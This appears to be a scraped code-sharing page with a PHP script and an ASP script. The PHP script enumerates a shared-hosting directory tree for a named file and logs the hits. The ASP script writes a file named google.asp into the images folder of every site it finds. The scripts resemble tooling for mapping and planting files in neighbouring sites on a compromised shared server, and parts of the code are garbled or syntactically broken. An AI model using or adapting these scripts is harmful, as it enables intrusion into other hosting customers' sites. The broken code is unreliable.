php写的寻找二层目录的小程序
WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
Freigeben: 2016-07-25 09:05:24
Original
1193 Leute haben es durchsucht
-
-
set_time_limit(0);
- $path = 'D:/Hosting';
- $somefile = $_GET['key'];
- $logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt';
- if (!isset($_SERVER['PHP_AUTH_USER'])) {
- header('WWW-Authenticate: Basic realm="My Realm"');
- header('HTTP/1.0 401 Unauthorized');
- echo 'Text to send if user hits Cancel button';
- exit;
- } else {
- if(is_dir($path) && is_readable($path))
- {
- $path2 = '';
- $handle = opendir($path);
- while(false !== ($filename = readdir($handle)))
- {
- if($filename{0} != $_GET['dir'])
- {
- continue;
- }
- /*
- if($filename张尛贰-Mi != $_GET['two'])
- {
- continue;
- }
- */
- //$path2 = $path.'/'.$filename.'/html';
- $path2 = $path.'/'.$filename;
- if(is_dir($path2) && is_readable($path2))
- {
- @$handle2 = opendir($path2);
- while(false !== ($filename2 = readdir($handle2)))
- {
- if($filename2 == $somefile)
- {
- //echo'[+]Found !'.$filename2."\n";
- file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND);
- }
- }
- @closedir($handle2);
- }
- }
- file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND);
- closedir($handle);
- }
- }
- ?>
复制代码
2、asp版
-
- Server.ScriptTimeout=500000000
- key = Trim(Request.QueryString("key"))
- msg=" "
- Set FSO=Server.CreateObject("Scripting.FileSystemObject")
- Set ServerFolder=FSO.GetFolder("C:\intel")
- Set ServerFolderList=ServerFolder.subfolders
- For Each ServerFileEvery IN ServerFolderList
- ' Response.write ServerFileEvery&""
- If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then
- Set sServerFolder=FSO.GetFolder(ServerFileEvery)
- Set sServerFolderList=sServerFolder.subfolders
- For Each sServerFileEvery IN sServerFolderList
- If LCase(sServerFileEvery.name) = "images" Then
- StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8"
- End If
- Next
- End If
- Next
- Function StreamSaveToFile(sPath, sContent, sCharSet)
- Dim oStream
- If(InStr(sPath, ":") sPath = Replace(sPath, ",", ",")
- sPath = Server.MapPath(sPath)
- sPath = Replace(sPath, ",", ",")
- End If
- Set oStream = Server.CreateObject("Adodb.Stream")
- With oStream
- .Type = 2
- .Mode = 3
- .Open
- .Charset = sCharSet
- .WriteText sContent
- .SaveToFile sPath, 2
- .Close
- End With
- Set oStream = Nothing
- End Function
- %>
复制代码
|
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Neueste Artikel des Autors
-
2024-10-22 09:46:29
-
2024-10-13 13:53:41
-
2024-10-12 12:15:51
-
2024-10-11 22:47:31
-
2024-10-11 19:36:51
-
2024-10-11 15:50:41
-
2024-10-11 15:07:41
-
2024-10-11 14:21:21
-
2024-10-11 12:59:11
-
2024-10-11 12:17:31